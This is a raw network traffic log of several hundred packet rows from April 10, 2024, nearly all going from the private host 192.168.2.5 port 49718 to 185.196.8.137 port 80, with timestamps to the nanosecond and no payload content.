Apr 10, 2024 10:24:12.158010006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158010006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158010006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158241987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158241987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158241987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158428907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158428907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158428907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158428907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158615112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158615112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158615112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158615112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158752918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158752918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158752918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158890009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158890009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158890009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158890009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158890009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158967972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158967972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.158967972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159121037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159121037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159121037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159121037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159565926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159565926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159565926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159565926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159739017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159739017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159739017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159739017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159739017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159739017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159835100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159835100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159835100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159986019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.159986019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160175085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160175085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160175085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160192966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160192966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160305023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160320997 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160428047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160428047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160428047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160428047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160619974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160619974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160619974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160619974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160702944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160702944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160702944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160702944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160702944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160773993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160773993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160773993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160788059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160788059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.160849094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161122084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161122084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161122084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161122084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161122084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161222935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161223888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161223888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161223888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161223888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161223888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161315918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161315918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161315918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161333084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161333084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161333084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161382914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161384106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161384106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161546946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161546946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161546946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161638021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161638021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161638021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161638021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161638021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161741018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161741018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161797047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161797047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161797047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161943913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161943913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161943913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161943913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161943913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.161943913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162100077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162100077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162100077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162164927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162164927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162166119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162166119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162166119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162322998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162322998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162322998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162322998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162322998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162322998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162686110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162686110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162686110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162686110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162686110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162710905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162710905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162745953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162745953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162745953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162825108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162825108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162825108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162825108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162825108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162825108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162931919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162931919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162931919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162931919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162931919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162931919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162976027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162976027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.162976027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163080931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163080931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163165092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163165092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163223028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163223028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163223028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163290977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163290977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163290977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163340092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163340092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163341045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163491964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163491964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163491964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163491964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163548946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163548946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163548946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163623095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163623095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163623095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163623095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163623095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163873911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163873911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163873911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.163937092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.164215088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.164215088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.164215088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.166976929 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.168003082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168133974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168133974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168221951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168221951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168221951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168276072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168392897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168392897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168392897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168392897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168392897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168392897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168490887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168587923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168587923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168587923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168587923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168587923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168672085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168672085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168672085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168672085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.168672085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169017076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169017076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169017076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169017076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169017076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169096947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169096947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169097900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169188976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169188976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169188976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169188976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169188976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169188976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169270039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169270039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169270039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169322968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169322968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169322968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169322968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169322968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169364929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169364929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169584036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169584036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169584990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169683933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169683933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169739962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169739962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169739962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169739962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169781923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169781923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169781923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169945002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169945002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169945002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.169945002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170033932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170033932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170033932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170033932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170033932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170181036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170181036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170181036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170181036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170181036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170181036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170259953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170259953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170259953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170319080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170319080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170320034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170341969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170341969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170342922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170387983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170464993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170464993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170464993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170594931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170594931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170594931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170595884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.170595884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171170950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171170950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171170950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171170950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171261072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171261072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171261072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171261072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171261072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171261072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171317101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171317101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171317101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171386003 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171386957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171386957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171453953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171453953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171453953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171453953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171453953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171453953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171643972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171663046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171663046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171663046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171765089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171766043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171766043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171766043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171766043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171766043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171868086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171868086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.171868086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172110081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172110081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172199965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172199965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172199965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172276020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172471046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172471046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172471046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172471046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172565937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172565937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172627926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172627926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172688007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172688007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172688007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172832012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172935009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172935009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172935009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172960043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172960043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.172960043 CEST	49718	80	192.168.2.5	185.196.8.137
